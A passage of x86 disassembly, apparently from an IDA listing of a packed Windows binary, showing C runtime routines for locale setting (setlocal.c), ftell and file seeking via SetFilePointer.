		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42DD28
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx

loc_42DD28:				; CODE XREF: .packed:0042DD17j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_42DB71
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_42DD4C
		call	sub_42E020
		mov	[ebp-0ACh], eax
		jmp	short loc_42DD56
; ---------------------------------------------------------------------------

loc_42DD4C:				; CODE XREF: .packed:0042DD3Dj
		mov	dword ptr [ebp-0ACh], 0

loc_42DD56:				; CODE XREF: .packed:0042DD4Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_42DE51
; ---------------------------------------------------------------------------

loc_42DD64:				; CODE XREF: .packed:0042DB42j
					; .packed:0042DB52j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_42E120
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_42DE51
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42DD9E
; ---------------------------------------------------------------------------

loc_42DD95:				; CODE XREF: .packed:loc_42DDFEj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx

loc_42DD9E:				; CODE XREF: .packed:0042DD93j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42DE00
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_42DDFE
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, dword_454384[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jz	short loc_42DDF5
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_42DE80
		add	esp, 8
		test	eax, eax
		jz	short loc_42DDEC
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_42DDF3
; ---------------------------------------------------------------------------

loc_42DDEC:				; CODE XREF: .packed:0042DDDFj
		mov	dword ptr [ebp-14h], 0

loc_42DDF3:				; CODE XREF: .packed:0042DDEAj
		jmp	short loc_42DDFE
; ---------------------------------------------------------------------------

loc_42DDF5:				; CODE XREF: .packed:0042DDC8j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax

loc_42DDFE:				; CODE XREF: .packed:0042DDA8j
					; .packed:loc_42DDF3j
		jmp	short loc_42DD95
; ---------------------------------------------------------------------------

loc_42DE00:				; CODE XREF: .packed:0042DDA2j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42DE2B
		call	sub_42E020
		mov	[ebp-8], eax
		push	2
		mov	ecx, dword_454384
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	dword_454384, 0
		jmp	short loc_42DE51
; ---------------------------------------------------------------------------

loc_42DE2B:				; CODE XREF: .packed:0042DE04j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_42DE3E
		call	sub_42E020
		mov	[ebp-0B0h], eax
		jmp	short loc_42DE48
; ---------------------------------------------------------------------------

loc_42DE3E:				; CODE XREF: .packed:0042DE2Fj
		mov	dword ptr [ebp-0B0h], 0

loc_42DE48:				; CODE XREF: .packed:0042DE3Cj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx

loc_42DE51:				; CODE XREF: .packed:0042DD5Fj
					; .packed:0042DD86j ...
		jmp	short loc_42DE5B
; ---------------------------------------------------------------------------

loc_42DE53:				; CODE XREF: .packed:0042DB33j
		call	sub_42E020
		mov	[ebp-8], eax

loc_42DE5B:				; CODE XREF: .packed:0042DB1Cj
					; .packed:loc_42DE51j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42DE78
		push	13h
		call	sub_423320
		add	esp, 4
		mov	eax, dword_4F3884
		sub	eax, 1
		mov	dword_4F3884, eax

loc_42DE78:				; CODE XREF: .packed:0042DE5Fj
		mov	eax, [ebp-8]

loc_42DE7B:				; CODE XREF: .packed:0042DAA7j
					; .packed:0042DBDEj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DE80	proc near		; CODE XREF: .packed:0042DAF1p
					; .packed:0042DCE5p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42E120
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42DEB9
		xor	eax, eax
		jmp	loc_42E00F
; ---------------------------------------------------------------------------

loc_42DEB9:				; CODE XREF: sub_42DE80+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42DEF0
		xor	eax, eax
		jmp	loc_42E00F
; ---------------------------------------------------------------------------

loc_42DEF0:				; CODE XREF: sub_42DE80+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, dword_454384[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4F34B0[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4F36F0
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	eax, dword_4F34C8
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	dword_454384[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	dword_4F34B0[eax*4], edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4F36F0
		push	edx
		call	sub_41FBF0
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_42DF93
		mov	eax, [ebp+var_A0]
		mov	dword_4F34C8, eax

loc_42DF93:				; CODE XREF: sub_42DE80+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_42DFA5
		mov	ecx, [ebp+var_A0]
		mov	dword_4F34CC, ecx

loc_42DFA5:				; CODE XREF: sub_42DE80+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	off_454388[edx]
		test	eax, eax
		jz	short loc_42DFEC
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	dword_454384[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4F34B0[eax*4], ecx
		mov	edx, [ebp+var_18]
		mov	dword_4F34C8, edx
		xor	eax, eax
		jmp	short loc_42E00F
; ---------------------------------------------------------------------------

loc_42DFEC:				; CODE XREF: sub_42DE80+133j
		cmp	[ebp+var_C], offset dword_454274
		jz	short loc_42E003
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_42E003:				; CODE XREF: sub_42DE80+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, dword_454384[ecx]

loc_42E00F:				; CODE XREF: sub_42DE80+34j
					; sub_42DE80+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DE80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E020	proc near		; CODE XREF: .packed:0042DD3Fp
					; .packed:0042DE06p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	dword_454384, 0
		jnz	short loc_42E054
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_41BE70
		add	esp, 10h
		mov	dword_454384, eax

loc_42E054:				; CODE XREF: sub_42E020+14j
		mov	eax, dword_454384
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_42E06E
; ---------------------------------------------------------------------------

loc_42E065:				; CODE XREF: sub_42E020:loc_42E117j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_42E06E:				; CODE XREF: sub_42E020+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, dword_454384[edx]
		push	eax
		push	offset asc_43D3F4 ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, off_454380[ecx]
		push	edx
		push	3
		mov	eax, dword_454384
		push	eax
		call	sub_42E2C0
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_42E0E9
		push	offset asc_43D3E0 ; ";"
		mov	ecx, dword_454384
		push	ecx
		call	sub_41F630
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, dword_454384[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_454384[ecx]
		push	edx
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jz	short loc_42E0E7
		mov	[ebp+var_8], 0

loc_42E0E7:				; CODE XREF: sub_42E020+BEj
		jmp	short loc_42E117
; ---------------------------------------------------------------------------

loc_42E0E9:				; CODE XREF: sub_42E020+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_42E0F6
		mov	eax, dword_454384
		jmp	short loc_42E11C
; ---------------------------------------------------------------------------

loc_42E0F6:				; CODE XREF: sub_42E020+CDj
		push	2
		mov	eax, dword_454384
		push	eax
		call	sub_41CA10
		add	esp, 8
		mov	dword_454384, 0
		mov	eax, off_45439C
		jmp	short loc_42E11C
; ---------------------------------------------------------------------------

loc_42E117:				; CODE XREF: sub_42E020:loc_42E0E7j
		jmp	loc_42E065
; ---------------------------------------------------------------------------

loc_42E11C:				; CODE XREF: sub_42E020+D4j
					; sub_42E020+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E120	proc near		; CODE XREF: .packed:0042DD77p
					; sub_42DE80+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E136
		xor	eax, eax
		jmp	loc_42E2A0
; ---------------------------------------------------------------------------

loc_42E136:				; CODE XREF: sub_42E120+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_42E190
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_42E190
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_42E179
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0

loc_42E179:				; CODE XREF: sub_42E120+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_42E188
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0

loc_42E188:				; CODE XREF: sub_42E120+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_42E2A0
; ---------------------------------------------------------------------------

loc_42E190:				; CODE XREF: sub_42E120+1Fj
					; sub_42E120+2Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_4542FC
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jz	loc_42E258
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_454278
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jz	loc_42E258
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_42E310
		add	esp, 8
		test	eax, eax
		jz	short loc_42E1E0
		xor	eax, eax
		jmp	loc_42E2A0
; ---------------------------------------------------------------------------

loc_42E1E0:				; CODE XREF: sub_42E120+B7j
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4F34D0
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_434EB0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E206
		xor	eax, eax
		jmp	loc_42E2A0
; ---------------------------------------------------------------------------

loc_42E206:				; CODE XREF: sub_42E120+DDj
		xor	ecx, ecx
		mov	cx, word_4F34D4
		mov	dword_4F34D8, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4542FC
		call	sub_42E470
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42E246
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_454278
		call	sub_41F620
		add	esp, 8
		jmp	short loc_42E258
; ---------------------------------------------------------------------------

loc_42E246:				; CODE XREF: sub_42E120+111j
		push	offset dword_4542FC
		push	offset dword_454278
		call	sub_41F620
		add	esp, 8

loc_42E258:				; CODE XREF: sub_42E120+83j
					; sub_42E120+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_42E271
		push	6
		push	offset dword_4F34D0
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch

loc_42E271:				; CODE XREF: sub_42E120+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_42E28A
		push	4
		push	offset dword_4F34D8
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch

loc_42E28A:				; CODE XREF: sub_42E120+155j
		push	offset dword_4542FC
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	eax, offset dword_4542FC

loc_42E2A0:				; CODE XREF: sub_42E120+11j
					; sub_42E120+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E2B0	proc near		; CODE XREF: sub_42DE80+12Bp
					; DATA XREF: .packed:off_454388o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42E2B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E2C0	proc near		; CODE XREF: sub_42E020+75p
					; sub_42E470+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_42E2DE
; ---------------------------------------------------------------------------

loc_42E2D5:				; CODE XREF: sub_42E2C0+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx

loc_42E2DE:				; CODE XREF: sub_42E2C0+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_42E304
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F630
		add	esp, 8
		jmp	short loc_42E2D5
; ---------------------------------------------------------------------------

loc_42E304:				; CODE XREF: sub_42E2C0+24j
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_42E2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E310	proc near		; CODE XREF: sub_42E120+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42E33A
		xor	eax, eax
		jmp	loc_42E469
; ---------------------------------------------------------------------------

loc_42E33A:				; CODE XREF: sub_42E310+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_42E370
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_42E370
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_41F620
		add	esp, 8
		xor	eax, eax
		jmp	loc_42E469
; ---------------------------------------------------------------------------

loc_42E370:				; CODE XREF: sub_42E310+33j
					; sub_42E310+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_42E382
; ---------------------------------------------------------------------------

loc_42E379:				; CODE XREF: sub_42E310+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_42E382:				; CODE XREF: sub_42E310+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_434E30
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42E3A4
		or	eax, 0FFFFFFFFh
		jmp	loc_42E469
; ---------------------------------------------------------------------------

loc_42E3A4:				; CODE XREF: sub_42E310+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_42E3DA
		cmp	[ebp+var_C], 40h
		jge	short loc_42E3DA
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_42E3DA
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E510
		add	esp, 0Ch
		jmp	short loc_42E440
; ---------------------------------------------------------------------------

loc_42E3DA:				; CODE XREF: sub_42E310+A3j
					; sub_42E310+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_42E408
		cmp	[ebp+var_C], 40h
		jge	short loc_42E408
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_42E408
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_41E510
		add	esp, 0Ch
		jmp	short loc_42E440
; ---------------------------------------------------------------------------

loc_42E408:				; CODE XREF: sub_42E310+CEj
					; sub_42E310+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_42E43B
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_42E41F
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_42E43B

loc_42E41F:				; CODE XREF: sub_42E310+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_41E510
		add	esp, 0Ch
		jmp	short loc_42E440
; ---------------------------------------------------------------------------

loc_42E43B:				; CODE XREF: sub_42E310+FCj
					; sub_42E310+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E469
; ---------------------------------------------------------------------------

loc_42E440:				; CODE XREF: sub_42E310+C8j
					; sub_42E310+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_42E44B
		jmp	short loc_42E467
; ---------------------------------------------------------------------------

loc_42E44B:				; CODE XREF: sub_42E310+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_42E455
		jmp	short loc_42E467
; ---------------------------------------------------------------------------

loc_42E455:				; CODE XREF: sub_42E310+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_42E379
; ---------------------------------------------------------------------------

loc_42E467:				; CODE XREF: sub_42E310+139j
					; sub_42E310+143j
		xor	eax, eax

loc_42E469:				; CODE XREF: sub_42E310+25j
					; sub_42E310+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E470	proc near		; CODE XREF: sub_42E120+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F620
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_42E4A8
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__4	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E2C0
		add	esp, 10h

loc_42E4A8:				; CODE XREF: sub_42E470+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_42E4D3
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__3	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E2C0
		add	esp, 10h

loc_42E4D3:				; CODE XREF: sub_42E470+44j
		pop	ebp
		retn
sub_42E470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E4E0	proc near		; CODE XREF: sub_421050+10Ep
					; sub_427CE0+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_42E511
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42E52C

loc_42E511:				; CODE XREF: sub_42E4E0+Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E55E
; ---------------------------------------------------------------------------

loc_42E52C:				; CODE XREF: sub_42E4E0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_42E55E:				; CODE XREF: sub_42E4E0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E570	proc near		; CODE XREF: sub_427380+40Dp
					; sub_42E4E0+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430EF0
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_42E59E
		call	sub_429A90
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42E61E
; ---------------------------------------------------------------------------

loc_42E59E:				; CODE XREF: sub_42E570+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4F53F4	; SetFilePointer
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_42E5C6
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_42E5CD
; ---------------------------------------------------------------------------

loc_42E5C6:				; CODE XREF: sub_42E570+49j
		mov	[ebp+var_4], 0

loc_42E5CD:				; CODE XREF: sub_42E570+54j
		cmp	[ebp+var_4], 0
		jz	short loc_42E5E4
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E61E
; ---------------------------------------------------------------------------

loc_42E5E4:				; CODE XREF: sub_42E570+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4F3780[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]

loc_42E61E:				; CODE XREF: sub_42E570+29j
					; sub_42E570+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E570	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_42E637:				; CODE XREF: .packed:0042E65Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42E65B
		push	offset dword_43C504
		push	0
		push	32h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42E65B
		int	3		; Trap to Debugger

loc_42E65B:				; CODE XREF: .packed:0042E63Bj
					; .packed:0042E658j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42E637
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_422420
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_42E6A0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E6A0	proc near		; CODE XREF: sub_421050+87p
					; .packed:0042E671p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi

loc_42E6A9:				; CODE XREF: sub_42E6A0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E6CD
		push	offset dword_43C514
		push	0
		push	63h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42E6CD
		int	3		; Trap to Debugger

loc_42E6CD:				; CODE XREF: sub_42E6A0+Dj
					; sub_42E6A0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42E6A9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_42E6F5
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0

loc_42E6F5:				; CODE XREF: sub_42E6A0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42E4E0
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_42E716
